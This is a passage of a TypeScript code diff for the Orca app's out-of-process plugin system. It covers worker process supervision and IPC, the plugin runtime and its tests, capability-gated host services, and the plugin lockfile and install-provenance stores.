env: buildPluginWorkerEnv(),
|
||||
// Why: inspector/loader flags from Orca's own launch must never execute
|
||||
// inside third-party plugin workers.
|
||||
execArgv: [],
|
||||
// Why: the protocol permits structured-clone values. Node's default JSON
|
||||
// fork serialization rejects BigInt, cycles, maps, and typed arrays.
|
||||
serialization: 'advanced',
|
||||
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
|
||||
})
|
||||
pipePluginWorkerOutput(child.stdout, 'info', log)
|
||||
pipePluginWorkerOutput(child.stderr, 'error', log)
|
||||
|
||||
const pendingCommands = new Map<number, PendingCall>()
|
||||
const pendingEvents = new Map<number, ReturnType<typeof setTimeout>>()
|
||||
const exitCallbacks: ((code: number | null) => void)[] = []
|
||||
let nextCallId = 0
|
||||
let nextEventId = 0
|
||||
let exited = false
|
||||
let exitCode: number | null = null
|
||||
let disposed = false
|
||||
let lastActivityAt = Date.now()
|
||||
|
||||
function sendToChild(message: PluginWorkerParentMessage): void {
|
||||
if (child.connected) {
|
||||
child.send(message)
|
||||
}
|
||||
}
|
||||
|
||||
function rejectAllPending(reason: string): void {
|
||||
for (const [callId, entry] of pendingCommands) {
|
||||
clearTimeout(entry.timer)
|
||||
pendingCommands.delete(callId)
|
||||
entry.reject(new Error(reason))
|
||||
}
|
||||
for (const timer of pendingEvents.values()) {
|
||||
clearTimeout(timer)
|
||||
}
|
||||
pendingEvents.clear()
|
||||
}
|
||||
|
||||
child.on('exit', (code) => {
|
||||
exited = true
|
||||
exitCode = code
|
||||
rejectAllPending(`${tag} worker exited before responding`)
|
||||
for (const callback of exitCallbacks) {
|
||||
callback(code)
|
||||
}
|
||||
})
|
||||
child.on('disconnect', () => {
|
||||
// Why: a worker can drop fork IPC while its event loop stays alive. Kill
|
||||
// it so the ensuing exit enters the normal supervision/backoff path.
|
||||
rejectAllPending(`${tag} worker disconnected before responding`)
|
||||
if (!exited) {
|
||||
child.kill('SIGKILL')
|
||||
}
|
||||
})
|
||||
|
||||
const commands = await new Promise<string[]>((resolve, reject) => {
|
||||
let settled = false
|
||||
const timer = setTimeout(() => {
|
||||
fail(new Error(`${tag} worker did not become ready within ${readyTimeoutMs}ms`))
|
||||
child.kill('SIGKILL')
|
||||
}, readyTimeoutMs)
|
||||
function fail(error: Error): void {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
clearTimeout(timer)
|
||||
options.signal?.removeEventListener('abort', onAbort)
|
||||
reject(error)
|
||||
}
|
||||
}
|
||||
const onAbort = (): void => {
|
||||
fail(new Error(`${tag} worker startup was cancelled`))
|
||||
child.kill('SIGKILL')
|
||||
}
|
||||
options.signal?.addEventListener('abort', onAbort, { once: true })
|
||||
child.on('error', (error) => {
|
||||
const failure = new Error(`${tag} worker process error: ${error.message}`)
|
||||
fail(failure)
|
||||
child.kill('SIGKILL')
|
||||
// Why: fail() no-ops once ready; a post-ready channel fault must still
|
||||
// reject in-flight calls instead of letting each hit its own timeout.
|
||||
rejectAllPending(failure.message)
|
||||
})
|
||||
child.on('exit', (code) => fail(new Error(`${tag} worker exited before ready (code ${code})`)))
|
||||
child.on('message', (raw) => {
|
||||
const parsed = pluginWorkerChildMessageSchema.safeParse(raw)
|
||||
if (!parsed.success) {
|
||||
log('warn', 'ignoring malformed worker message')
|
||||
return
|
||||
}
|
||||
const message = parsed.data
|
||||
switch (message.type) {
|
||||
case 'ready': {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
clearTimeout(timer)
|
||||
options.signal?.removeEventListener('abort', onAbort)
|
||||
resolve(message.commands)
|
||||
}
|
||||
return
|
||||
}
|
||||
case 'commandResult': {
|
||||
const entry = pendingCommands.get(message.callId)
|
||||
if (!entry) {
|
||||
return
|
||||
}
|
||||
clearTimeout(entry.timer)
|
||||
pendingCommands.delete(message.callId)
|
||||
lastActivityAt = Date.now()
|
||||
if (message.ok) {
|
||||
entry.resolve(message.value)
|
||||
} else {
|
||||
entry.reject(new Error(message.error ?? 'plugin command failed'))
|
||||
}
|
||||
return
|
||||
}
|
||||
case 'eventAck': {
|
||||
const timer = pendingEvents.get(message.eventId)
|
||||
if (timer) {
|
||||
clearTimeout(timer)
|
||||
pendingEvents.delete(message.eventId)
|
||||
}
|
||||
lastActivityAt = Date.now()
|
||||
return
|
||||
}
|
||||
case 'hostCall': {
|
||||
lastActivityAt = Date.now()
|
||||
// Host API calls from the worker: gate + execute in main, then
|
||||
// relay the outcome. Never throws — errors become outcomes.
|
||||
void options.executeHostCall(message.method, message.params).then((outcome) => {
|
||||
lastActivityAt = Date.now()
|
||||
sendToChild(
|
||||
outcome.ok
|
||||
? { type: 'hostResult', callId: message.callId, ok: true, value: outcome.value }
|
||||
: {
|
||||
type: 'hostResult',
|
||||
callId: message.callId,
|
||||
ok: false,
|
||||
errorCode: outcome.code,
|
||||
error: outcome.error
|
||||
}
|
||||
)
|
||||
})
|
||||
return
|
||||
}
|
||||
case 'log': {
|
||||
log(message.level, message.message)
|
||||
return
|
||||
}
|
||||
case 'fatal': {
|
||||
fail(new Error(`${tag} worker crashed: ${message.error}`))
|
||||
rejectAllPending(`${tag} worker crashed: ${message.error}`)
|
||||
child.kill('SIGKILL')
|
||||
}
|
||||
}
|
||||
})
|
||||
sendToChild({
|
||||
type: 'init',
|
||||
pluginId,
|
||||
pluginRoot: rootDir,
|
||||
mainEntry,
|
||||
grantedCapabilities: [...options.grantedCapabilities]
|
||||
})
|
||||
if (options.signal?.aborted) {
|
||||
onAbort()
|
||||
}
|
||||
})
|
||||
|
||||
return {
|
||||
commands,
|
||||
invokeCommand(commandId, args) {
|
||||
if (exited || disposed) {
|
||||
return Promise.reject(new Error(`${tag} worker is not running`))
|
||||
}
|
||||
const callId = nextCallId++
|
||||
return new Promise<unknown>((resolve, reject) => {
|
||||
const timer = setTimeout(() => {
|
||||
pendingCommands.delete(callId)
|
||||
reject(new Error(`${tag} ${commandId} timed out after ${invokeTimeoutMs}ms`))
|
||||
}, invokeTimeoutMs)
|
||||
pendingCommands.set(callId, { resolve, reject, timer })
|
||||
sendToChild({ type: 'invokeCommand', callId, commandId, args })
|
||||
})
|
||||
},
|
||||
deliverEvent(event, payload) {
|
||||
if (exited || disposed) {
|
||||
return
|
||||
}
|
||||
if (pendingEvents.size >= PLUGIN_WORKER_MAX_PENDING_EVENTS) {
|
||||
log('error', `${tag} exceeded the pending event limit`)
|
||||
child.kill('SIGKILL')
|
||||
return
|
||||
}
|
||||
lastActivityAt = Date.now()
|
||||
const eventId = nextEventId++
|
||||
const timer = setTimeout(() => {
|
||||
pendingEvents.delete(eventId)
|
||||
log('error', `${tag} ${event} did not finish within ${eventTimeoutMs}ms`)
|
||||
child.kill('SIGKILL')
|
||||
}, eventTimeoutMs)
|
||||
pendingEvents.set(eventId, timer)
|
||||
sendToChild({ type: 'deliverEvent', eventId, event, payload })
|
||||
},
|
||||
lastActivityAt: () => lastActivityAt,
|
||||
inFlightCount: () => pendingCommands.size + pendingEvents.size,
|
||||
async dispose() {
|
||||
if (disposed) {
|
||||
return
|
||||
}
|
||||
disposed = true
|
||||
if (exited) {
|
||||
return
|
||||
}
|
||||
sendToChild({ type: 'shutdown' })
|
||||
await new Promise<void>((resolve) => {
|
||||
const killTimer = setTimeout(() => {
|
||||
child.kill('SIGKILL')
|
||||
}, PLUGIN_WORKER_SHUTDOWN_GRACE_MS)
|
||||
child.once('exit', () => {
|
||||
clearTimeout(killTimer)
|
||||
resolve()
|
||||
})
|
||||
if (exited) {
|
||||
clearTimeout(killTimer)
|
||||
resolve()
|
||||
}
|
||||
})
|
||||
},
|
||||
kill() {
|
||||
child.kill('SIGKILL')
|
||||
},
|
||||
onExit(callback) {
|
||||
if (exited) {
|
||||
callback(exitCode)
|
||||
} else {
|
||||
exitCallbacks.push(callback)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,76 @@
|
|||
import { describe, expect, it, vi } from 'vitest'
|
||||
import { join } from 'node:path'
|
||||
import { pathToFileURL } from 'node:url'
|
||||
import { createPluginWorkerRuntime } from './plugin-host-runtime'
|
||||
|
||||
describe('plugin worker shutdown', () => {
|
||||
it('normalizes either manifest separator before importing the worker', async () => {
|
||||
const importModule = vi.fn(async () => ({ default: vi.fn() }))
|
||||
const runtime = createPluginWorkerRuntime({ send: vi.fn(), importModule })
|
||||
|
||||
await runtime.handleMessage({
|
||||
type: 'init',
|
||||
pluginId: 'orca-samples.demo',
|
||||
pluginRoot: join('plugin-root'),
|
||||
mainEntry: 'nested\\worker.js',
|
||||
grantedCapabilities: []
|
||||
})
|
||||
|
||||
expect(importModule).toHaveBeenCalledWith(
|
||||
pathToFileURL(join('plugin-root', 'nested', 'worker.js')).href
|
||||
)
|
||||
})
|
||||
|
||||
it('awaits an optional deactivate export before exiting', async () => {
|
||||
let finishDeactivate!: () => void
|
||||
const deactivate = vi.fn(
|
||||
() =>
|
||||
new Promise<void>((resolve) => {
|
||||
finishDeactivate = resolve
|
||||
})
|
||||
)
|
||||
const send = vi.fn()
|
||||
const exit = vi.fn()
|
||||
const runtime = createPluginWorkerRuntime({
|
||||
send,
|
||||
exit,
|
||||
importModule: async () => ({ default: vi.fn(), deactivate })
|
||||
})
|
||||
await runtime.handleMessage({
|
||||
type: 'init',
|
||||
pluginId: 'orca-samples.demo',
|
||||
pluginRoot: '/plugin',
|
||||
mainEntry: 'worker.js',
|
||||
grantedCapabilities: []
|
||||
})
|
||||
|
||||
const shutdown = runtime.handleMessage({ type: 'shutdown' })
|
||||
await Promise.resolve()
|
||||
expect(deactivate).toHaveBeenCalledOnce()
|
||||
expect(exit).not.toHaveBeenCalled()
|
||||
finishDeactivate()
|
||||
await shutdown
|
||||
|
||||
expect(exit).toHaveBeenCalledWith(0)
|
||||
})
|
||||
|
||||
it('exits immediately when the plugin has no deactivate export', async () => {
|
||||
const exit = vi.fn()
|
||||
const runtime = createPluginWorkerRuntime({
|
||||
send: vi.fn(),
|
||||
exit,
|
||||
importModule: async () => ({ default: vi.fn() })
|
||||
})
|
||||
await runtime.handleMessage({
|
||||
type: 'init',
|
||||
pluginId: 'orca-samples.demo',
|
||||
pluginRoot: '/plugin',
|
||||
mainEntry: 'worker.js',
|
||||
grantedCapabilities: []
|
||||
})
|
||||
|
||||
await runtime.handleMessage({ type: 'shutdown' })
|
||||
|
||||
expect(exit).toHaveBeenCalledWith(0)
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,210 @@
|
|||
import { join } from 'node:path'
|
||||
import { pathToFileURL } from 'node:url'
|
||||
import {
|
||||
pluginWorkerParentMessageSchema,
|
||||
type PluginWorkerChildMessage
|
||||
} from '../../shared/plugins/plugin-host-protocol'
|
||||
import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
|
||||
|
||||
/**
|
||||
* Message-loop core of the out-of-process plugin worker. Electron-free and
|
||||
* side-effect-free (send/import/exit are injected) so it unit-tests without
|
||||
* forking a real child process; `plugin-host-entry.ts` wires it to the fork
|
||||
* IPC channel.
|
||||
*/
|
||||
|
||||
export type PluginHostCallError = Error & { code?: string }
|
||||
|
||||
/** API surface handed to a plugin's `activate(orca)` export. Everything is
|
||||
* EXPERIMENTAL until pluginApi v1 freezes. */
|
||||
export type PluginWorkerOrcaApi = {
|
||||
/** Register the handler for a command declared in the manifest. */
|
||||
commands: {
|
||||
register(commandId: string, handler: (args: unknown) => unknown | Promise<unknown>): void
|
||||
}
|
||||
/** Handle an event the manifest subscribed to (`contributes.events`). */
|
||||
events: {
|
||||
on(event: PluginEventName, handler: (payload: unknown) => void | Promise<void>): void
|
||||
}
|
||||
/** Call a host API method (capability-gated host-side). */
|
||||
host: {
|
||||
call(method: string, params?: unknown): Promise<unknown>
|
||||
}
|
||||
/** Consented capability kinds (informational — the host re-gates). */
|
||||
grantedCapabilities: readonly string[]
|
||||
log(message: string): void
|
||||
}
|
||||
|
||||
export type PluginWorkerRuntimeOptions = {
|
||||
send: (message: PluginWorkerChildMessage) => void
|
||||
importModule?: (specifier: string) => Promise<unknown>
|
||||
exit?: (code: number) => void
|
||||
}
|
||||
|
||||
export type PluginWorkerRuntime = {
|
||||
handleMessage(raw: unknown): Promise<void>
|
||||
}
|
||||
|
||||
function toErrorMessage(error: unknown): string {
|
||||
return error instanceof Error ? (error.stack ?? error.message) : String(error)
|
||||
}
|
||||
|
||||
export function createPluginWorkerRuntime(
|
||||
options: PluginWorkerRuntimeOptions
|
||||
): PluginWorkerRuntime {
|
||||
const send = options.send
|
||||
const importModule = options.importModule ?? ((specifier: string) => import(specifier))
|
||||
const exit = options.exit ?? ((code: number) => process.exit(code))
|
||||
const commandHandlers = new Map<string, (args: unknown) => unknown | Promise<unknown>>()
|
||||
const eventHandlers = new Map<string, ((payload: unknown) => void | Promise<void>)[]>()
|
||||
const pendingHostCalls = new Map<
|
||||
number,
|
||||
{ resolve: (value: unknown) => void; reject: (error: PluginHostCallError) => void }
|
||||
>()
|
||||
let nextHostCallId = 0
|
||||
let initialized = false
|
||||
let shuttingDown = false
|
||||
let deactivate: (() => unknown | Promise<unknown>) | null = null
|
||||
|
||||
async function handleInit(input: {
|
||||
pluginRoot: string
|
||||
mainEntry: string
|
||||
grantedCapabilities: string[]
|
||||
}): Promise<void> {
|
||||
if (initialized) {
|
||||
send({ type: 'log', level: 'warn', message: 'ignoring duplicate init message' })
|
||||
return
|
||||
}
|
||||
initialized = true
|
||||
// Why: file URL import keeps ESM plugin entries working on Windows paths.
|
||||
// Why: manifest paths accept either portable separator; split explicitly
|
||||
// so a Windows-authored plugin also imports on macOS/Linux and vice versa.
|
||||
const entryUrl = pathToFileURL(join(input.pluginRoot, ...input.mainEntry.split(/[\\/]/))).href
|
||||
const module = (await importModule(entryUrl)) as { default?: unknown; deactivate?: unknown }
|
||||
const activate = module?.default
|
||||
if (typeof activate !== 'function') {
|
||||
throw new Error(`plugin entry ${input.mainEntry} has no default-exported activate function`)
|
||||
}
|
||||
if (module.deactivate !== undefined && typeof module.deactivate !== 'function') {
|
||||
throw new Error(`plugin entry ${input.mainEntry} has a non-function deactivate export`)
|
||||
}
|
||||
deactivate = (module.deactivate as (() => unknown | Promise<unknown>) | undefined) ?? null
|
||||
const orca: PluginWorkerOrcaApi = {
|
||||
commands: {
|
||||
register(commandId, handler) {
|
||||
commandHandlers.set(commandId, handler)
|
||||
}
|
||||
},
|
||||
events: {
|
||||
on(event, handler) {
|
||||
const handlers = eventHandlers.get(event) ?? []
|
||||
handlers.push(handler)
|
||||
eventHandlers.set(event, handlers)
|
||||
}
|
||||
},
|
||||
host: {
|
||||
call(method, params) {
|
||||
const callId = nextHostCallId++
|
||||
return new Promise<unknown>((resolve, reject) => {
|
||||
pendingHostCalls.set(callId, { resolve, reject })
|
||||
send({ type: 'hostCall', callId, method, params })
|
||||
})
|
||||
}
|
||||
},
|
||||
grantedCapabilities: input.grantedCapabilities,
|
||||
log(message) {
|
||||
send({ type: 'log', level: 'info', message: String(message).slice(0, 8192) })
|
||||
}
|
||||
}
|
||||
await activate(orca)
|
||||
send({ type: 'ready', commands: [...commandHandlers.keys()] })
|
||||
}
|
||||
|
||||
return {
|
||||
async handleMessage(raw) {
|
||||
const parsed = pluginWorkerParentMessageSchema.safeParse(raw)
|
||||
if (!parsed.success) {
|
||||
send({ type: 'log', level: 'warn', message: 'ignoring malformed parent message' })
|
||||
return
|
||||
}
|
||||
const message = parsed.data
|
||||
try {
|
||||
switch (message.type) {
|
||||
case 'init': {
|
||||
await handleInit(message)
|
||||
return
|
||||
}
|
||||
case 'invokeCommand': {
|
||||
const handler = commandHandlers.get(message.commandId)
|
||||
if (!handler) {
|
||||
send({
|
||||
type: 'commandResult',
|
||||
callId: message.callId,
|
||||
ok: false,
|
||||
error: `no handler registered for command ${message.commandId}`
|
||||
})
|
||||
return
|
||||
}
|
||||
try {
|
||||
const value = await handler(message.args)
|
||||
send({ type: 'commandResult', callId: message.callId, ok: true, value })
|
||||
} catch (error) {
|
||||
send({
|
||||
type: 'commandResult',
|
||||
callId: message.callId,
|
||||
ok: false,
|
||||
error: toErrorMessage(error)
|
||||
})
|
||||
}
|
||||
return
|
||||
}
|
||||
case 'deliverEvent': {
|
||||
const handlers = eventHandlers.get(message.event) ?? []
|
||||
for (const handler of handlers) {
|
||||
try {
|
||||
await handler(message.payload)
|
||||
} catch (error) {
|
||||
send({ type: 'log', level: 'error', message: toErrorMessage(error) })
|
||||
}
|
||||
}
|
||||
send({ type: 'eventAck', eventId: message.eventId })
|
||||
return
|
||||
}
|
||||
case 'hostResult': {
|
||||
const pending = pendingHostCalls.get(message.callId)
|
||||
if (!pending) {
|
||||
return
|
||||
}
|
||||
pendingHostCalls.delete(message.callId)
|
||||
if (message.ok) {
|
||||
pending.resolve(message.value)
|
||||
} else {
|
||||
const error: PluginHostCallError = new Error(message.error ?? 'host call failed')
|
||||
error.code = message.errorCode
|
||||
pending.reject(error)
|
||||
}
|
||||
return
|
||||
}
|
||||
case 'shutdown': {
|
||||
if (shuttingDown) {
|
||||
return
|
||||
}
|
||||
shuttingDown = true
|
||||
try {
|
||||
await deactivate?.()
|
||||
} catch (error) {
|
||||
send({ type: 'log', level: 'error', message: toErrorMessage(error).slice(0, 8192) })
|
||||
}
|
||||
exit(0)
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
// Why: an init/activation failure leaves the worker useless; report
|
||||
// and die so the parent surfaces the error instead of hanging on
|
||||
// the ready timeout.
|
||||
send({ type: 'fatal', error: toErrorMessage(error) })
|
||||
exit(1)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,84 @@
|
|||
import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
|
||||
import { PLUGIN_WORKSPACE_TERMINAL_LIMIT } from '../../shared/plugins/plugin-host-api'
|
||||
import type { PluginHostServices } from './plugin-host-methods'
|
||||
import { PluginSecretsStore } from './plugin-secrets-store'
|
||||
import { PluginKvStore } from './plugin-storage-store'
|
||||
|
||||
/** Structural subset of OrcaRuntimeService exposed to plugin facade bindings. */
|
||||
export type PluginRuntimeDelegate = {
|
||||
resolveActiveWorktreeContext(): Promise<{
|
||||
worktreeId: string
|
||||
path: string
|
||||
branch: string
|
||||
displayName: string
|
||||
} | null>
|
||||
listTerminals(
|
||||
worktreeSelector?: string,
|
||||
limit?: number
|
||||
): Promise<{ terminals: { handle: string; title: string | null }[] }>
|
||||
sendTerminal(
|
||||
handle: string,
|
||||
action: { text?: string; enter?: boolean }
|
||||
): Promise<{ accepted: boolean }>
|
||||
dispatchPluginNotification(input: {
|
||||
pluginId: string
|
||||
title: string
|
||||
body?: string
|
||||
}): Promise<{ delivered: boolean }>
|
||||
}
|
||||
|
||||
export function bindPluginHostServices(input: {
|
||||
delegate: PluginRuntimeDelegate
|
||||
pluginsDataDir: string
|
||||
subscribeEvents: (pluginKey: string, events: PluginEventName[]) => PluginEventName[]
|
||||
}): PluginHostServices {
|
||||
const { delegate, pluginsDataDir, subscribeEvents } = input
|
||||
return {
|
||||
resolveActiveWorktreeContext: async () => {
|
||||
const context = await delegate.resolveActiveWorktreeContext()
|
||||
if (!context) {
|
||||
return null
|
||||
}
|
||||
// Why: retain the internal id only for host-side terminal membership;
|
||||
// the public handler projects it out because it embeds provider paths.
|
||||
return {
|
||||
worktreeId: context.worktreeId,
|
||||
branch: context.branch,
|
||||
displayName: context.displayName
|
||||
}
|
||||
},
|
||||
listWorktreeTerminals: async (worktreeId) => {
|
||||
const result = await delegate.listTerminals(
|
||||
`id:${worktreeId}`,
|
||||
PLUGIN_WORKSPACE_TERMINAL_LIMIT
|
||||
)
|
||||
return result.terminals
|
||||
.slice(0, PLUGIN_WORKSPACE_TERMINAL_LIMIT)
|
||||
.map((terminal) => ({ id: terminal.handle }))
|
||||
},
|
||||
sendTerminalText: async (terminalId, action) => {
|
||||
const result = await delegate.sendTerminal(terminalId, action)
|
||||
return { accepted: result.accepted }
|
||||
},
|
||||
dispatchPluginNotification: (notification) => delegate.dispatchPluginNotification(notification),
|
||||
storage: {
|
||||
get: (key, itemKey) => new PluginKvStore(pluginsDataDir, key, 'storage.json').get(itemKey),
|
||||
set: (key, itemKey, value) =>
|
||||
new PluginKvStore(pluginsDataDir, key, 'storage.json').set(itemKey, value),
|
||||
delete: (key, itemKey) =>
|
||||
new PluginKvStore(pluginsDataDir, key, 'storage.json').delete(itemKey),
|
||||
keys: (key) => new PluginKvStore(pluginsDataDir, key, 'storage.json').keys()
|
||||
},
|
||||
secrets: {
|
||||
get: (key, itemKey) => new PluginSecretsStore(pluginsDataDir, key).get(itemKey),
|
||||
set: (key, itemKey, value) => new PluginSecretsStore(pluginsDataDir, key).set(itemKey, value),
|
||||
delete: (key, itemKey) => new PluginSecretsStore(pluginsDataDir, key).delete(itemKey)
|
||||
},
|
||||
settings: {
|
||||
getAll: (key) => new PluginKvStore(pluginsDataDir, key, 'settings.json').getAll(),
|
||||
set: (key, itemKey, value) =>
|
||||
new PluginKvStore(pluginsDataDir, key, 'settings.json').set(itemKey, value)
|
||||
},
|
||||
subscribeEvents
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,83 @@
|
|||
import { createReadStream } from 'node:fs'
|
||||
import { mkdir } from 'node:fs/promises'
|
||||
import { join } from 'node:path'
|
||||
import {
|
||||
emptyPluginLockfile,
|
||||
parsePluginLockfile,
|
||||
serializePluginLockfile,
|
||||
type PluginLockfile
|
||||
} from '../../shared/plugins/plugin-install-lockfile'
|
||||
import { writePluginFileAtomically } from './plugin-atomic-file-write'
|
||||
import { recoverPluginLockfile } from './plugin-install-provenance'
|
||||
|
||||
export const PLUGIN_LOCKFILE_MAX_BYTES = 5 * 1024 * 1024
|
||||
const lockfileAccessChains = new Map<string, Promise<void>>()
|
||||
|
||||
export function pluginLockfilePath(pluginsDir: string): string {
|
||||
return join(pluginsDir, 'plugins.lock.json')
|
||||
}
|
||||
|
||||
async function serializeLockfileAccess<T>(
|
||||
pluginsDir: string,
|
||||
operation: () => Promise<T>
|
||||
): Promise<T> {
|
||||
const previous = lockfileAccessChains.get(pluginsDir) ?? Promise.resolve()
|
||||
const run = previous.catch(() => undefined).then(operation)
|
||||
const settled = run.then(
|
||||
() => undefined,
|
||||
() => undefined
|
||||
)
|
||||
lockfileAccessChains.set(pluginsDir, settled)
|
||||
try {
|
||||
return await run
|
||||
} finally {
|
||||
if (lockfileAccessChains.get(pluginsDir) === settled) {
|
||||
lockfileAccessChains.delete(pluginsDir)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** Reads the install index through a byte cap so a corrupt local file cannot
|
||||
* turn every plugin-list refresh into an unbounded main-process allocation. */
|
||||
export async function readPluginLockfile(pluginsDir: string): Promise<PluginLockfile> {
|
||||
return serializeLockfileAccess(pluginsDir, () => readPluginLockfileUnserialized(pluginsDir))
|
||||
}
|
||||
|
||||
async function readPluginLockfileUnserialized(pluginsDir: string): Promise<PluginLockfile> {
|
||||
let lock = emptyPluginLockfile()
|
||||
try {
|
||||
const chunks: Buffer[] = []
|
||||
let totalBytes = 0
|
||||
for await (const chunk of createReadStream(pluginLockfilePath(pluginsDir))) {
|
||||
const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
|
||||
totalBytes += bytes.byteLength
|
||||
if (totalBytes > PLUGIN_LOCKFILE_MAX_BYTES) {
|
||||
throw new Error('plugin lockfile exceeds its size limit')
|
||||
}
|
||||
chunks.push(bytes)
|
||||
}
|
||||
lock = parsePluginLockfile(JSON.parse(Buffer.concat(chunks, totalBytes).toString('utf8')))
|
||||
} catch {
|
||||
// Missing/corrupt global indexes can be reconstructed from current-version provenance.
|
||||
}
|
||||
const recovered = await recoverPluginLockfile(pluginsDir, lock)
|
||||
if (recovered.changed) {
|
||||
await writePluginLockfileUnserialized(pluginsDir, recovered.lock).catch(() => undefined)
|
||||
}
|
||||
return recovered.lock
|
||||
}
|
||||
|
||||
export async function writePluginLockfile(pluginsDir: string, lock: PluginLockfile): Promise<void> {
|
||||
await serializeLockfileAccess(pluginsDir, () => writePluginLockfileUnserialized(pluginsDir, lock))
|
||||
}
|
||||
|
||||
async function writePluginLockfileUnserialized(
|
||||
pluginsDir: string,
|
||||
lock: PluginLockfile
|
||||
): Promise<void> {
|
||||
await mkdir(pluginsDir, { recursive: true })
|
||||
await writePluginFileAtomically(
|
||||
pluginLockfilePath(pluginsDir),
|
||||
JSON.stringify(serializePluginLockfile(lock), null, 2)
|
||||
)
|
||||
}
|
||||
|
|
@ -0,0 +1,118 @@
|
|||
import { createReadStream } from 'node:fs'
|
||||
import { mkdir, readdir, rm } from 'node:fs/promises'
|
||||
import { join } from 'node:path'
|
||||
import {
|
||||
PLUGIN_CONTENT_HASH_PATTERN,
|
||||
pluginLockEntrySchema,
|
||||
type PluginLockEntry,
|
||||
type PluginLockfile
|
||||
} from '../../shared/plugins/plugin-install-lockfile'
|
||||
import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
|
||||
import { writePluginFileAtomically } from './plugin-atomic-file-write'
|
||||
import { readPluginCurrentPointer } from './plugin-current-pointer'
|
||||
|
||||
const PROVENANCE_DIRECTORY = '.install-provenance'
|
||||
const PROVENANCE_MAX_BYTES = 64 * 1024
|
||||
|
||||
function provenancePath(pluginDir: string, contentHash: string): string {
|
||||
if (!PLUGIN_CONTENT_HASH_PATTERN.test(contentHash)) {
|
||||
throw new Error('invalid plugin content hash')
|
||||
}
|
||||
return join(pluginDir, PROVENANCE_DIRECTORY, `${contentHash}.json`)
|
||||
}
|
||||
|
||||
/** Prewrites immutable provenance before the executable current pointer moves. */
|
||||
export async function writePluginInstallProvenance(
|
||||
pluginDir: string,
|
||||
entry: PluginLockEntry
|
||||
): Promise<void> {
|
||||
const parsedEntry = pluginLockEntrySchema.parse(entry)
|
||||
const directory = join(pluginDir, PROVENANCE_DIRECTORY)
|
||||
await mkdir(directory, { recursive: true, mode: 0o700 })
|
||||
await writePluginFileAtomically(
|
||||
provenancePath(pluginDir, parsedEntry.contentHash),
|
||||
JSON.stringify({ version: 1, entry: parsedEntry }, null, 2),
|
||||
{ mode: 0o600 }
|
||||
)
|
||||
}
|
||||
|
||||
export async function readPluginInstallProvenance(
|
||||
pluginDir: string,
|
||||
contentHash: string
|
||||
): Promise<PluginLockEntry | null> {
|
||||
try {
|
||||
const chunks: Buffer[] = []
|
||||
let totalBytes = 0
|
||||
for await (const chunk of createReadStream(provenancePath(pluginDir, contentHash))) {
|
||||
const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
|
||||
totalBytes += bytes.byteLength
|
||||
if (totalBytes > PROVENANCE_MAX_BYTES) {
|
||||
return null
|
||||
}
|
||||
chunks.push(bytes)
|
||||
}
|
||||
const raw = JSON.parse(Buffer.concat(chunks, totalBytes).toString('utf8')) as {
|
||||
version?: unknown
|
||||
entry?: unknown
|
||||
}
|
||||
if (raw.version !== 1) {
|
||||
return null
|
||||
}
|
||||
const parsed = pluginLockEntrySchema.safeParse(raw.entry)
|
||||
return parsed.success ? parsed.data : null
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
/** Repairs a pointer-new/lock-old interrupted publication from immutable provenance. */
|
||||
export async function recoverPluginLockfile(
|
||||
pluginsDir: string,
|
||||
lock: PluginLockfile
|
||||
): Promise<{ lock: PluginLockfile; changed: boolean }> {
|
||||
const plugins = { ...lock.plugins }
|
||||
let changed = false
|
||||
const directories = await readdir(pluginsDir, { withFileTypes: true }).catch(() => [])
|
||||
for (const directory of directories) {
|
||||
if (!directory.isDirectory() || !isQualifiedPluginKey(directory.name)) {
|
||||
continue
|
||||
}
|
||||
const pluginDir = join(pluginsDir, directory.name)
|
||||
const contentHash = await readPluginCurrentPointer(pluginDir).catch(() => null)
|
||||
if (!contentHash || !PLUGIN_CONTENT_HASH_PATTERN.test(contentHash)) {
|
||||
continue
|
||||
}
|
||||
const provenance = await readPluginInstallProvenance(pluginDir, contentHash)
|
||||
if (
|
||||
!provenance ||
|
||||
provenance.pluginKey !== directory.name ||
|
||||
provenance.contentHash !== contentHash
|
||||
) {
|
||||
continue
|
||||
}
|
||||
if (JSON.stringify(plugins[directory.name]) !== JSON.stringify(provenance)) {
|
||||
plugins[directory.name] = provenance
|
||||
changed = true
|
||||
}
|
||||
}
|
||||
return { lock: { version: 1, plugins }, changed }
|
||||
}
|
||||
|
||||
export async function prunePluginInstallProvenance(
|
||||
pluginDir: string,
|
||||
retained: ReadonlySet<string>
|
||||
): Promise<void> {
|
||||
const directory = join(pluginDir, PROVENANCE_DIRECTORY)
|
||||
const entries = await readdir(directory, { withFileTypes: true }).catch(() => [])
|
||||
await Promise.all(
|
||||
entries
|
||||
.filter(
|
||||
(entry) =>
|
||||
entry.isFile() &&
|
||||
entry.name.endsWith('.json') &&
|
||||
PLUGIN_CONTENT_HASH_PATTERN.test(entry.name.slice(0, -'.json'.length)) &&
|
||||
!retained.has(entry.name.slice(0, -'.json'.length))
|
||||
)
|
||||
.map((entry) => rm(join(directory, entry.name), { force: true }))
|
||||
)
|
||||
}
|
||||
|
|
@ -0,0 +1,94 @@
|
|||
import { readdir, rm } from 'node:fs/promises'
|
||||
import { join } from 'node:path'
|
||||
import {
|
||||
PLUGIN_CONTENT_HASH_PATTERN,
|
||||
upsertPluginLock,
|
||||
type PluginLockEntry
|
||||
} from '../../shared/plugins/plugin-install-lockfile'
|
||||
import {
|
||||
readPluginCurrentPointer,
|
||||
restorePluginCurrentPointer,
|
||||
writePluginCurrentPointer
|
||||
} from './plugin-current-pointer'
|
||||
import { readPluginLockfile, writePluginLockfile } from './plugin-install-lockfile-store'
|
||||
import {
|
||||
prunePluginInstallProvenance,
|
||||
